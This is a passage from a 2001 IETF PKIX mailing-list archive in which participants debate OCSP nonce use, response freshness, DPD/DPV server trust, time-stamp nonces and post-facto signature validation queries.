signer?  Tie the document to the request.  It's one reason why OCSP is
so much "better" than CRL's.  (Please -- I'm *kidding around.*)

I'd be quite surprised if this doesn't show up in the mail archives once
or twice.  I'm not sure how to make it could have been made more
explicit, and even if it would have been appropriate for 2560.

These kinds of things always show up when a newcomer reads a spec,
separately from those have been heads-down into it from the beginning.
	/r$


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA26810 for <[e-mail]>; Thu, 1 Feb 2001 11:36:50 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id OAA14093; Thu, 1 Feb 2001 14:43:42 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010418b69f6ba41b3c@[128.33.4.39]>
In-Reply-To: <[e-mail]>
References: <[e-mail]> <[e-mail]>
Date: Thu, 1 Feb 2001 14:43:45 -0500
To: Rich Salz <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: DPD & DPV requirements - to nonce or not to nonce?
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 2:14 PM -0500 2/1/01, Rich Salz wrote:
>  > I agree that we should maintain OCSP's optional nonce mechanism.
>>  As Peter Sylvester has pointed out, even without using the nonce
>>  the "freshness" of the response can be determined by the ProducedAt
>>  field to at least the resolution provided by the similar field in CRLs.
>
>I fade in and out of the DPD/DPV discussion, but my ears perked up when
>I saw the above...
>
>There's much more to the nonce then freshness.  For example, if I
>receive a signed document, I can use the hash of that document as the
>nonce.  I now have "proof" (not in a legal, perhaps in a contractual)
>sense that I did due diligence before relying on the signature.  That's
>why Rich Ankney put them into the OCSP spec.

Proof because you used the nonce in the OCSP extension? Well, that's 
novel, but I'd rather not have "features" like this lurking in 
standards with no accompanying documentation. Peter Williams 
chastised us for not doing a better job of describing nonce 
management for OCSP, and he's got a valid point. This sort of 
overloading of the nonce, no matter now noble the intent, seems like 
a bad idea in the larger context. But, given the current lack of 
specification re nonce generation, it's certainly not prohibited.

Steve


Received: from balinese.baltimore.ie ([e-mail] [194.125.215.8]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA26152 for <[e-mail]>; Thu, 1 Feb 2001 11:09:13 -0800 (PST)
Received: by balinese.baltimore.ie; id TAA08191; Thu, 1 Feb 2001 19:16:03 GMT
Received: from bobcat.ie.baltimore.com(10.153.25.10) by balinese.baltimore.ie via smap (V4.2) id xma008105; Thu, 1 Feb 01 19:15:54 GMT
Received: from iris.ie.baltimore.com (IDENT:[e-mail] [10.153.2.50]) by bobcat.baltimore.ie (8.9.3/8.9.3) with ESMTP id SAA29194; Thu, 1 Feb 2001 18:29:03 GMT
Received: (from paul@localhost) by iris.ie.baltimore.com (8.9.3/8.9.3) id SAA01758; Thu, 1 Feb 2001 18:29:02 GMT
Received: from balinese.baltimore.ie (unverified) by emeairlsw1.baltimore.com (Content Technologies SMTPRS 4.2.1) with ESMTP id <[e-mail]>; Thu, 1 Feb 2001 10:30:59 +0000
Received: by balinese.baltimore.ie; id KAA21435; Thu, 1 Feb 2001 10:30:53 GMT
Received: from ns.secondary.com(208.184.76.39) by balinese.baltimore.ie via smap (V4.2) id xma021365; Thu, 1 Feb 01 10:30:23 GMT
Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id CAA18937; Thu, 1 Feb 2001 02:13:18 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 1 Feb 2001 02:12:11 -0800
Received: from pdcpune.elock.co.in (pdcpune.elock.co.in [196.1.104.8]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id CAA18868 for <[e-mail]>; Thu, 1 Feb 2001 02:12:08 -0800 (PST)
Received: from insight (insight.fcpl.co.in [196.1.104.150]) by pdcpune.elock.co.in with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id DJ333WNB; Thu, 1 Feb 2001 15:44:57 +0530
Message-ID: <001601c08c3a$45361d20$966801c4@insight>
From: "Prashant Dambe" <[e-mail]>
To: "Jean-Marc Desperrier" <[e-mail]>, <[e-mail]>
References: <005701c0868c$b9f330c0$966801c4@insight> <[e-mail]> <006e01c086b4$2bb129c0$966801c4@insight> <[e-mail]>
Subject: Re: Query about nonce field in Time-stamp response.
Date: Thu, 1 Feb 2001 16:02:26 +0530
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:[e-mail]?body=unsubscribe

Is it required to have responder's signature over the Nonce as nonce will
never be used in the future time.
If it is so then nonce can be included like PKIStatusInfo which will be not
included in Timestamptoken.
If nonce has to be signed then why PKIStatusInfo is not included in
Signed-Data.

----- Original Message -----
From: Jean-Marc Desperrier <[e-mail]>
To: <[e-mail]>
Sent: Thursday, January 25, 2001 4:44 PM
Subject: Re: Query about nonce field in Time-stamp response.


> Prashant Dambe wrote:
>
> > Is it  required that Nonce should be included in  TSTInfo i.e the part
of
> > TimeStampToken ?
>
> Draft version 13 says :
> TSTInfo ::= SEQUENCE  {
>   ....
>      nonce                        INTEGER                  OPTIONAL,
>        -- MUST be present if the similar field was present
>        -- in TimeStampReq. In that case it MUST have the same value.
>
> So it's required, yes.
>
> > Nonce can be a part of Time-stamp response like PKIStatusInfo which will
be
> > not included in Timestamptoken.
>
> No such possibility is provided in the current form of the TimeStampResp.
> Anyway, the nonce would have to be signed by the responder, so what you
suggest
> requires a second signature, so that the nonce can be removed without
breaking
> the TSTInfo signature.
>
> If you don't want the nonce payload, the draft suggests to use both a
local
> clock and a moving time window during which the requester remembers all
the
> hashes sent during that time window.
>
> Bernd Matthes <[e-mail]> wrote:
> > I think it's a little auxiliary means against double timestamps.
> > A TSA should reject a time stamp query if the same
> > messageImprint *and* the same nonce found in it's database.
> > It's possible to get multiple timestamps ("re-new") for the
> > same document,message or whatever,
> > but *never* with already issued nonce value.
>
> My understanding until now is that's it's only up to the client to check
the
> nonce, and not to the server.
>
> So howewer interesting your idea is, the standard does not forbid a client
to
> do what you describe, for whatever reason, and the systematic rejection
could
> cause interoperability problems.
>
> If you did it, your clients would have to check their tools will never do
that,
> especially when resending the same request because the answer wasn't
received.
>
> Here's what Denis said recently which is quite related to this question :
>
> >> And additional badSenderNonce(18)?
> >This has not been added. I do not want to raise at this time questions
like:
> >what is a bad nonce ? or how does a server know it is a bad nonce ?



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA25718 for <[e-mail]>; Thu, 1 Feb 2001 11:06:56 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id OAA09389; Thu, 1 Feb 2001 14:13:47 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010414b69f63a83b07@[128.33.4.39]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Thu, 1 Feb 2001 14:09:59 -0500
To: "Michael Myers" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
Cc: <[e-mail]>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Mike,

>Steve, Carlin:
>
>Towards closure, in my humble opinion it seems the best we can do here is
>maintain OCSP's optional nonce mechanism and let the system security
>architects of the world sort out these system level issues.

We need to have a clear definition of what the servers do, and what 
the clients can expect. After we establish that, we can leave the 
rest of the details to implementors. So, for example, if someone 
wants to make use of the sort of scheme that Peter Williams proposed 
for efficient storage and lookup of nonces, that's beyond the scope 
of the standard. But, the issue of whether the client can demand a 
very fresh OCSP response or not is a matter for the standard as it is 
at the heart of the service being offered, the security model for the 
system that uses the server, etc.  Anyway, since Peter Sylvester 
pointed out my oversight re the OCSP responder ProducedAt field, I 
feel better about what the residual problems are.

Steve


Received: from mail-fwd.verio-web.com (mail11a.verio-web.com [161.58.16.57]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA25705 for <[e-mail]>; Thu, 1 Feb 2001 11:06:35 -0800 (PST)
Received: from 161.58.117.181 (161.58.117.181) by mail11a.verio-web.com (RS ver 1.0.58s) with SMTP id 030475659; Thu,  1 Feb 2001 14:13:48 -0500 (EST)
Sender: rsalz
Message-ID: <[e-mail]>
Date: Thu, 01 Feb 2001 14:14:05 -0500
From: Rich Salz <[e-mail]>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Carlin Covey <[e-mail]>
CC: [e-mail]
Subject: Re: DPD & DPV requirements - to nonce or not to nonce?
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Loop-Detect: 1

> I agree that we should maintain OCSP's optional nonce mechanism.
> As Peter Sylvester has pointed out, even without using the nonce
> the "freshness" of the response can be determined by the ProducedAt
> field to at least the resolution provided by the similar field in CRLs.

I fade in and out of the DPD/DPV discussion, but my ears perked up when
I saw the above...

There's much more to the nonce then freshness.  For example, if I
receive a signed document, I can use the hash of that document as the
nonce.  I now have "proof" (not in a legal, perhaps in a contractual)
sense that I did due diligence before relying on the signature.  That's
why Rich Ankney put them into the OCSP spec.
	/r$


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA25116 for <[e-mail]>; Thu, 1 Feb 2001 10:57:23 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id OAA07803; Thu, 1 Feb 2001 14:04:11 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010413b69f62f2106c@[128.33.4.39]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Thu, 1 Feb 2001 14:04:00 -0500
To: Peter Sylvester <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
Cc: [e-mail], [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 7:18 PM +0100 2/1/01, Peter Sylvester wrote:
>  >
>>  OK, now I see the crux of this issue. Yes, for DPD, a returned OCSP
>>  response, even if it carries an optional nonce, does not provide the
>>  desired freshness guarantee for the client, who is unable to
>>  independently evaluate the timeliness of the response. Our current
>>  proposal implicitly requires the client to trust the DPD server,
>>  which violates our model for DPD vs. DPV.
>
>
>An OCSP responce contains a ProducedAt field.
>
>Similar as with a CRL obtained from a directory a client has to
>determine the freshness of the response.


Whoops. I missed that. OK, so we don't have a freshness problem any 
worse than for a CRL. That brings it back to the issue of trusting 
the DPD server to return the freshest one available, OR having an 
option for the client to insist (request?) that his own nonce be used 
to request a very fresh response, OR letting the client specify a 
required freshness that will satisfy its requirements (thus allowing 
more leeway for the server).

Any suggestions as to which of these is preferable?

Steve


Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA24615 for <[e-mail]>; Thu, 1 Feb 2001 10:50:05 -0800 (PST)
Received: from COVEY (cpe-24-221-22-222.az.sprintbbd.net [24.221.22.222]) by exchange.cylink.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id 1DA311GN; Thu, 1 Feb 2001 10:56:01 -0800
From: "Carlin Covey" <[e-mail]>
To: <[e-mail]>
Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
Date: Thu, 1 Feb 2001 11:54:07 -0700
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <[e-mail]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Mike, Steve, Peter and Peter,

I agree that we should maintain OCSP's optional nonce mechanism.
As Peter Sylvester has pointed out, even without using the nonce
the "freshness" of the response can be determined by the ProducedAt
field to at least the resolution provided by the similar field in CRLs.

Regards, Carlin

-------------------------

- Carlin Covey
  Cylink corp.

-----Original Message-----
From: Michael Myers [mailto:[e-mail]]
Sent: Thursday, February 01, 2001 11:50 AM
To: Stephen Kent; Carlin Covey
Cc: [e-mail]
Subject: RE: DPD & DPV requirements - to nonce or not to nonce?


Steve, Carlin:

Towards closure, in my humble opinion it seems the best we can do here is
maintain OCSP's optional nonce mechanism and let the system security
architects of the world sort out these system level issues.

Mike


> -----Original Message-----
> From: Stephen Kent [mailto:[e-mail]]
> Sent: Thursday, February 01, 2001 9:16 AM
> To: Carlin Covey
> Cc: [e-mail]
> Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
>
>
> Carlin,
>
> ><snip>
> >[Carlin]:
> >I agree that if the client is going to trust the DPV server
> >to give a correct status response, the client should also trust the
> >DPV server to check the nonces in any responses that the server receives
> >from queries that it relays to other servers.
> >
> >But what about a DPD query?  The client gets back a list of certificates
> >and a set of certificate status information that may contain
> OCSP responses
> >with nonces in them.  But the client can't use the nonces to
> protect itself
> >against replay, because the client didn't generate those nonces.  Some
> >server downstream (upstream? which way does this stream flow?) put the
> >nonces in queries that were relayed to other servers.  If the client can
> >make do without replay protection, why were nonces put in the
> OCSP protocol
> >in the first place?  Note that this isn't a deficiency of OCSP.  The same
> >thing would be true of DPV, DPD or SCVP if those responses were returned
> >in DPD responses.
>
> OK, now I see the crux of this issue. Yes, for DPD, a returned OCSP
> response, even if it carries an optional nonce, does not provide the
> desired freshness guarantee for the client, who is unable to
> independently evaluate the timeliness of the response. Our current
> proposal implicitly requires the client to trust the DPD server,
> which violates our model for DPD vs. DPV.
>
> It also raises a related, subtle issue, namely what service(s) should
> a DPD server provide when OCSP is employed. The server could be
> required to use a nonce supplied by the client in a real time query
> to an OCSP server, in an effort to provide a transitive freshness
> guarantee. But that does away with the presumed caching benefit that
> might accrue from using a DPD server. If the server caches OCSP
> queries, then the client has to trust the server, because the client
> cannot have influenced the query a priori, and/or because the query
> might be returned to multiple clients (who would not have coordinated
> their nonce choices). This latter situation looks a lot like an OCSP
> server that pre-signs responses and thus does not even make use of a
> nonce.
>
> As described above, it seems that the problem has a lot to do with
> the option for transitive nonce use by a DPD server, and maybe with
> the need for such servers to allow a client to specify such service,
> and less with what I gleaned from Peter's message, which seemed to
> focus on techniques by which a server could more efficiently protect
> itself from replayed client queries. Yes, such techniques could be
> used by a server here to reduce its vulnerability to replayed
> queries, but that seems to be a secondary issue relative to the more
> fundamental one we face with regard to DPD and OCSP.
>
> Maybe we should settle for CRLs here and avoid this mess :-)
>
> Steve
>
>



Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA23899 for <[e-mail]>; Thu, 1 Feb 2001 10:39:16 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id f11IjaK20493; Thu, 1 Feb 2001 10:45:36 -0800 (PST)
From: "Michael Myers" <[e-mail]>
To: "Stephen Kent" <[e-mail]>, "Carlin Covey" <[e-mail]>
Cc: <[e-mail]>
Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
Date: Thu, 1 Feb 2001 10:50:19 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <p0501040ab69f32b8bb8a@[128.33.4.39]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

Steve, Carlin:

Towards closure, in my humble opinion it seems the best we can do here is
maintain OCSP's optional nonce mechanism and let the system security
architects of the world sort out these system level issues.

Mike


> -----Original Message-----
> From: Stephen Kent [mailto:[e-mail]]
> Sent: Thursday, February 01, 2001 9:16 AM
> To: Carlin Covey
> Cc: [e-mail]
> Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
>
>
> Carlin,
>
> ><snip>
> >[Carlin]:
> >I agree that if the client is going to trust the DPV server
> >to give a correct status response, the client should also trust the
> >DPV server to check the nonces in any responses that the server receives
> >from queries that it relays to other servers.
> >
> >But what about a DPD query?  The client gets back a list of certificates
> >and a set of certificate status information that may contain
> OCSP responses
> >with nonces in them.  But the client can't use the nonces to
> protect itself
> >against replay, because the client didn't generate those nonces.  Some
> >server downstream (upstream? which way does this stream flow?) put the
> >nonces in queries that were relayed to other servers.  If the client can
> >make do without replay protection, why were nonces put in the
> OCSP protocol
> >in the first place?  Note that this isn't a deficiency of OCSP.  The same
> >thing would be true of DPV, DPD or SCVP if those responses were returned
> >in DPD responses.
>
> OK, now I see the crux of this issue. Yes, for DPD, a returned OCSP
> response, even if it carries an optional nonce, does not provide the
> desired freshness guarantee for the client, who is unable to
> independently evaluate the timeliness of the response. Our current
> proposal implicitly requires the client to trust the DPD server,
> which violates our model for DPD vs. DPV.
>
> It also raises a related, subtle issue, namely what service(s) should
> a DPD server provide when OCSP is employed. The server could be
> required to use a nonce supplied by the client in a real time query
> to an OCSP server, in an effort to provide a transitive freshness
> guarantee. But that does away with the presumed caching benefit that
> might accrue from using a DPD server. If the server caches OCSP
> queries, then the client has to trust the server, because the client
> cannot have influenced the query a priori, and/or because the query
> might be returned to multiple clients (who would not have coordinated
> their nonce choices). This latter situation looks a lot like an OCSP
> server that pre-signs responses and thus does not even make use of a
> nonce.
>
> As described above, it seems that the problem has a lot to do with
> the option for transitive nonce use by a DPD server, and maybe with
> the need for such servers to allow a client to specify such service,
> and less with what I gleaned from Peter's message, which seemed to
> focus on techniques by which a server could more efficiently protect
> itself from replayed client queries. Yes, such techniques could be
> used by a server here to reduce its vulnerability to replayed
> queries, but that seems to be a secondary issue relative to the more
> fundamental one we face with regard to DPD and OCSP.
>
> Maybe we should settle for CRLs here and avoid this mess :-)
>
> Steve
>
>



Received: from edelweb.fr (edelweb.fr [212.234.46.16]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA22306 for <[e-mail]>; Thu, 1 Feb 2001 10:11:17 -0800 (PST)
Received: from champagne.edelweb.fr (localhost.edelweb.fr [127.0.0.1]) by edelweb.fr with ESMTP id TAA09341; Thu, 1 Feb 2001 19:18:04 +0100 (MET)
Received: from champagne.edelweb.fr (champagne.edelweb.fr [193.51.14.161]) by edelweb.fr (nospam/1.3); Thu, 1 Feb 2001 19:18:04 +0100 (MET)
Received: from emeriau.edelweb.fr (emeriau.edelweb.fr [193.51.14.5]) by champagne.edelweb.fr (8.7.6/8.6.6) with ESMTP id TAA04547; Thu, 1 Feb 2001 19:18:02 +0100 (MET)
From: Peter Sylvester <[e-mail]>
Received: (sylvest@localhost) by emeriau.edelweb.fr (8.7.6/8.6.6) id TAA25987; Thu, 1 Feb 2001 19:18:01 +0100 (MET)
Date: Thu, 1 Feb 2001 19:18:01 +0100 (MET)
Message-Id: <[e-mail]>
To: [e-mail], [e-mail]
Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
Cc: [e-mail]

> 
> OK, now I see the crux of this issue. Yes, for DPD, a returned OCSP 
> response, even if it carries an optional nonce, does not provide the 
> desired freshness guarantee for the client, who is unable to 
> independently evaluate the timeliness of the response. Our current 
> proposal implicitly requires the client to trust the DPD server, 
> which violates our model for DPD vs. DPV.
 

An OCSP responce contains a ProducedAt field. 

Similar as with a CRL obtained from a directory a client has to
determine the freshness of the response. 



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA18396 for <[e-mail]>; Thu, 1 Feb 2001 09:17:20 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id MAA22392; Thu, 1 Feb 2001 12:24:09 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p0501040ab69f32b8bb8a@[128.33.4.39]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Thu, 1 Feb 2001 12:15:55 -0500
To: "Carlin Covey" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
Cc: <[e-mail]>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Carlin,

><snip>
>[Carlin]:
>I agree that if the client is going to trust the DPV server
>to give a correct status response, the client should also trust the
>DPV server to check the nonces in any responses that the server receives
>from queries that it relays to other servers. 
>
>But what about a DPD query?  The client gets back a list of certificates
>and a set of certificate status information that may contain OCSP responses
>with nonces in them.  But the client can't use the nonces to protect itself
>against replay, because the client didn't generate those nonces.  Some
>server downstream (upstream? which way does this stream flow?) put the
>nonces in queries that were relayed to other servers.  If the client can
>make do without replay protection, why were nonces put in the OCSP protocol
>in the first place?  Note that this isn't a deficiency of OCSP.  The same
>thing would be true of DPV, DPD or SCVP if those responses were returned
>in DPD responses.

OK, now I see the crux of this issue. Yes, for DPD, a returned OCSP 
response, even if it carries an optional nonce, does not provide the 
desired freshness guarantee for the client, who is unable to 
independently evaluate the timeliness of the response. Our current 
proposal implicitly requires the client to trust the DPD server, 
which violates our model for DPD vs. DPV.

It also raises a related, subtle issue, namely what service(s) should 
a DPD server provide when OCSP is employed. The server could be 
required to use a nonce supplied by the client in a real time query 
to an OCSP server, in an effort to provide a transitive freshness 
guarantee. But that does away with the presumed caching benefit that 
might accrue from using a DPD server. If the server caches OCSP 
queries, then the client has to trust the server, because the client 
cannot have influenced the query a priori, and/or because the query 
might be returned to multiple clients (who would not have coordinated 
their nonce choices). This latter situation looks a lot like an OCSP 
server that pre-signs responses and thus does not even make use of a 
nonce.

As described above, it seems that the problem has a lot to do with 
the option for transitive nonce use by a DPD server, and maybe with 
the need for such servers to allow a client to specify such service, 
and less with what I gleaned from Peter's message, which seemed to 
focus on techniques by which a server could more efficiently protect 
itself from replayed client queries. Yes, such techniques could be 
used by a server here to reduce its vulnerability to replayed 
queries, but that seems to be a secondary issue relative to the more 
fundamental one we face with regard to DPD and OCSP.

Maybe we should settle for CRLs here and avoid this mess :-)

Steve



Received: from edelweb.fr (edelweb.fr [212.234.46.16]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA07248 for <[e-mail]>; Thu, 1 Feb 2001 06:26:11 -0800 (PST)
Received: from champagne.edelweb.fr (localhost.edelweb.fr [127.0.0.1]) by edelweb.fr with ESMTP id PAA07894; Thu, 1 Feb 2001 15:32:50 +0100 (MET)
Received: from champagne.edelweb.fr (champagne.edelweb.fr [193.51.14.161]) by edelweb.fr (nospam/1.3); Thu, 1 Feb 2001 15:32:51 +0100 (MET)
Received: from emeriau.edelweb.fr (emeriau.edelweb.fr [193.51.14.5]) by champagne.edelweb.fr (8.7.6/8.6.6) with ESMTP id PAA03427; Thu, 1 Feb 2001 15:32:49 +0100 (MET)
From: Peter Sylvester <[e-mail]>
Received: (sylvest@localhost) by emeriau.edelweb.fr (8.7.6/8.6.6) id PAA25910; Thu, 1 Feb 2001 15:32:49 +0100 (MET)
Date: Thu, 1 Feb 2001 15:32:49 +0100 (MET)
Message-Id: <[e-mail]>
To: [e-mail], [e-mail]
Subject: RE: Post-facto queries [Was: RE: DPD & DPV requirements]
Cc: [e-mail]

> yuriy> To support non-repudiation, all you need is the ability to retrieve
> evidence to show that the signature was valid/invalid at the time in
> question.  Where that is done should not matter, although some approaches
> are better than others, and may be easier to prove in court.

You need an evidence that the document in question was signed at the
time in question by the entity in question. 

The validity of the signing certificate may not be sufficient for that.

> 
> > RPs should have a
> > capability to rely on a service to do this for them, especially smaller
> > institutions that do not want to go through the effort to implement such a
> > capability within their organization.
> 
> At the time you first receive a signature you had better to make sure that
> it is a valid one. So at the time you make the first verification, either
> yourself or using a remote server (like DPV), it is easy to grasp the proof
> and save it either locally or remotely. There is thus no need for
> post-validation.

> yuriy> I understand your solution, and I agree that some RPs will operate
> this way.  But in some communities that I am working in, like mortgages,
> smaller institutions desire the capability to perform a post-facto query.

Wouldn't your environment better be suited by a service that does not
ask for a validity of a certificate chain, but for the validity of a
signed document?  

> 
> > In addition, I think it is helpful to have a capability to perform
> > post-facto queries when for some reason the DPV service is originally
> > unavailable.
> 
> Making a query an hour later is fairly different from making the query 10
> years later.
> yuriy> But in essence, it is the same sort of query.  Was this signature
> valid/invalid at some time before the present?

That is not the question you have asked with DPV.

> yuriy> Some solutions I have seen don't send the receipt until the signature
> has been validated.  Until then, the sender is told that a receipt is
> pending.  Nonetheless, you still need to validate the signature at some time
> before the present, regardless of how you handled the receipt.

What can happen in the (short) time between these events? 

- The certificate expires. Well, a user should probalby not make the
  request with a cert that has a lifetime of 2 minutes left.

- The certificate gets revoked. This is an exceptional case, and
  it is not clear in advance whether the sent message should be treated
  as valid or invalid. If the revocation is initiated by the user
  of the cert, then you fall into the previous case. 

- Nothing happens. Then the two validations deliver the same result. 
 
> > When it comes back up, the agency will want
> > to know if my signature was valid when the proposal was submitted (at
> > 11:55A), and not when the service comes back up.
> 
> If the service was down for only a few hours, this can easily be be done.
> Doing it, 10 years later is a different story.
> yuriy> Again, I think the request is not different, in that you are asking a
> server to tell you if a signature was valid at some time before the present.
> It should not matter if it is 10 hours before present, or 10 years before
> present.  I understand the additional storage requirements on the server to
> support requests that date back 10 years, but why would we say it is
> acceptable to define a protocol that supports post-facto queries up to some
> amount of time before present?

Again, this is not the question you make to the DPV server. 

The current logic of path validation takes as an input a date value. 
Thus, in a strictly formal way, it seems to me that a DPV server has to
support some date as an input. 

The format of asking 10 years later or 2 hours may be the same, but it
doesn't seem to make much sense to me to make an INITIAL verification
10 years later. 




Received: from monet.digsigtrust.com (mail.digsigtrust.com [208.30.69.30]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id EAA00303 for <[e-mail]>; Thu, 1 Feb 2001 04:40:05 -0800 (PST)
Received: from CC474623A (cc474623-a.abdn1.md.home.com [24.18.83.123]) by monet.digsigtrust.com (8.10.2/8.10.2) with SMTP id f11Ckol02784; Thu, 1 Feb 2001 05:46:50 -0700 (MST)
Reply-To: <[e-mail]>
From: "Yuriy Dzambasow" <[e-mail]>
To: "Denis Pinkas" <[e-mail]>
Cc: "PKIX-List" <[e-mail]>
Subject: RE: Post-facto queries [Was: RE: DPD & DPV requirements]
Date: Thu, 1 Feb 2001 07:44:41 -0500
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <[e-mail]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600

Denis,

Thanks for the response.  Please see comments below.

Yuriy

-----Original Message-----
From: Denis Pinkas [mailto:[e-mail]]
Sent: Wednesday, January 31, 2001 10:00 AM
To: [e-mail]
Cc: PKIX-List
Subject: Re: Post-facto queries [Was: RE: DPD & DPV requirements]

Yuriy,

> I think Tom captures the essence of why post-facto queries are needed.  I
> don't think we can assume that every RP will maintain its own information
to
> support non-repudiation disputes in the future.

If you are interrested to support non-repudiation, then you had better to
save the proof. You can save it on a server if you wish. But that server is
only providing a safe storage.
yuriy> To support non-repudiation, all you need is the ability to retrieve
evidence to show that the signature was valid/invalid at the time in
question.  Where that is done should not matter, although some approaches
are better than others, and may be easier to prove in court.

> RPs should have a
> capability to rely on a service to do this for them, especially smaller
> institutions that do not want to go through the effort to implement such a
> capability within their organization.

At the time you first receive a signature you had better to make sure that
it is a valid one. So at the time you make the first verification, either
yourself or using a remote server (like DPV), it is easy to grasp the proof
and save it either locally or remotely. There is thus no need for
post-validation.
yuriy> I understand your solution, and I agree that some RPs will operate
this way.  But in some communities that I am working in, like mortgages,
smaller institutions desire the capability to perform a post-facto query.

> In addition, I think it is helpful to have a capability to perform
> post-facto queries when for some reason the DPV service is originally
> unavailable.

Making a query an hour later is fairly different from making the query 10
years later.
yuriy> But in essence, it is the same sort of query.  Was this signature
valid/invalid at some time before the present?

> For example, I am a contractor submitting a proposal to the
> Federal Government, and the proposal needs to be in by noon on Friday.  I
> complete my proposal, sign and timestamp it, and submit it at 11:55A.  The
> Federal Agency receives my proposal, but for some reason their DPV service
> is down for a few hours; therefore, the agency cannot validate my
signature
> on the proposal at that time.

There is no need to do what you describe. An acknowledge of receipt may be
sent to the sender without the need to validate the signature, if any. Note
also that the sender may be different from the sender.
yuriy> Some solutions I have seen don't send the receipt until the signature
has been validated.  Until then, the sender is told that a receipt is
pending.  Nonetheless, you still need to validate the signature at some time
before the present, regardless of how you handled the receipt.

> When it comes back up, the agency will want
> to know if my signature was valid when the proposal was submitted (at
> 11:55A), and not when the service comes back up.

If the service was down for only a few hours, this can easily be be done.
Doing it, 10 years later is a different story.
yuriy> Again, I think the request is not different, in that you are asking a
server to tell you if a signature was valid at some time before the present.
It should not matter if it is 10 hours before present, or 10 years before
present.  I understand the additional storage requirements on the server to
support requests that date back 10 years, but why would we say it is
acceptable to define a protocol that supports post-facto queries up to some
amount of time before present?

Denis

> Yuriy



